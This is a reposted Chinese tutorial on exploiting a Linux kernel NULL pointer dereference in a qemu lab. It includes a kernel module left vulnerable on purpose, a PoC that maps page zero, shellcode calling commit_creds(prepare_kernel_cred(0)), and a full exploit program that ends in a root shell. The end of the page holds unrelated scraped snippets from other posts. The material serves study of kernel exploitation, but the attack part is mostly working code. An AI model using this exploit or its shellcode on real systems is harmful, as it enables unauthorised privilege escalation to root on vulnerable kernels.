NULL Pointer Dereference(转)

0x00 漏洞代码

null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)
{
    my_funptr();
    return len;
}

static int __init null_dereference_init(void)
{
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void)
{
    printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。

Makefile:

obj-m := null_dereference.o
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。

0x01 PoC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef

int main()
{
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "fanrong", 7); // 调用bug1的write函数
    return 0;
}

编译:

$ gcc -static poc.c -o poc

将poc也放到busybox的usr目录中。

再在busybox的_install目录中执行:

$ find . | cpio -o --format=newc > ../rootfs.img

qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

(qemu) gdbserver tcp::1234

在本地linux-2.6.32.1目录中用gdb去连接:

$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311            current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.

在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

可以看到如果继续执行就会执行我们的payload。

0x02 exploit

1.思路:给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

在qemu中获取commit_creds和prepare_kernel_cred地址:

2.编写shellcode

xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret

编译shellcode,并获取其机器码,得到shellcode:

shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"

现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";

int main()
{
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "fanrong", 7);
    system("/bin/sh"); // get root shell
    return 0;
}

将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.

成功拿到root shell.

时间: 2024-08-26 15:40:44

NULL Pointer Dereference(转)的相关文章

kernel panic 分析(NULL pointer dereference)

It is another typical kernel panic due to invalid address. Panic log: [ 20.896935] c3 554 (netd) Unable to handle kernel NULL pointer dereference at virtual address 00000012 [ 20.906200] c3 554 (netd) pgd = ffffffc02f746000 [ 20.910793] c3 554 (netd)

go text/template html/template invalid memory address or nil pointer dereference

2017/08/14 20:06:10 http: panic serving 172.22.27.131:56324: runtime error: invalid memory address or nil pointer dereference goroutine 19 [running]: net/http.(*conn).serve.func1(0xc420171e00) /usr/local/go/src/net/http/server.go:1693 +0xd0 panic(0x7

differences between null pointer and void pointer.

These are two different concepts, you cannot compare them. What the difference between the skunk and the moonlight? Null pointer is a special reserved value of a pointer. A pointer of any type has such a reserved value. Formally, each specific pointe

golang panic: runtime error: invalid memory address or nil pointer dereference [

今天做消息队列持久化存储服务过程中,golang操作mysql 报错: panic: runtime error: invalid memory address or nil pointer dereference [ 经过反复查找,原来是变量定义问题 做个记录,以后再有问题可以做个参考,原始代码: var Db *sql.DB func init() {     Db, err := sql.Open("mysql", "root:[email protected]/tes

Null Pointer --设计模式

在Joshua Bloch很有名的一本书<Effective in java>中建议不要在代码中返回空的collection/map/array,就像下面的代码一样: public List<String> returnCollection() { //remainder omitted if (/*some condition*/) { return null; } else { // return collection }} 而应该使用下面的模式: public List<

debug---null Pointer Exception--一步步查找(2)

添加PartyLocationRepository后,再次在Ubuntu中编译项目,再次报空指针异常. 直接在createDto处打断点,然后debug每个表达式的值,找出来到底是哪个为null. 经过分析,发现是this.getConverter()为null,而这个Converter是和PartyLocationEntity以及PartyLocationDto对应的.因此,这里还需要写个PartyLocationEntity和PartyLocationDto关联的PartyLocationC

Eclipse 代码检测报 Potential null pointer access: The variable XX may be null at this location

对于这种本来是挺好的一功能,瞬间感觉好强大啊有木有,还会自动帮你检测空指针. 可是在看别人代码,或者服务器代码的时候就蛋疼了啊!这不改编译就过不了啊! 其实如果想去掉这种检测非常简单.一个设置的问题. Eclipse-->Window-->preferences-->java-->Compiler-->Errors/Warnings,找到下面这个选项 看到了吗?把Error改成warning 将项目重新clean 一下.OK!

opps kio

Unable to handle kernel NULL pointer dereference at virtual address 00000008pgd = c7090000, hw pgd = c7090000[00000008] *pgd=27096831, *pte=00000000, *ppte=00000000Internal error: Oops: 17 [#4] ARMModules linked in: usb_f_ecm g_ether usb_f_rndis u_et

使用 GIT 获得Linux Kernel的代码并查看,追踪历史记录

Linux kernel  的官方 GIT地址是: http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git 可以从这个地址拿到 kernel 的 代码仓库. 1. 拿代码仓库 [plain] view plaincopyprint? git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git 2. 查看状态: [pla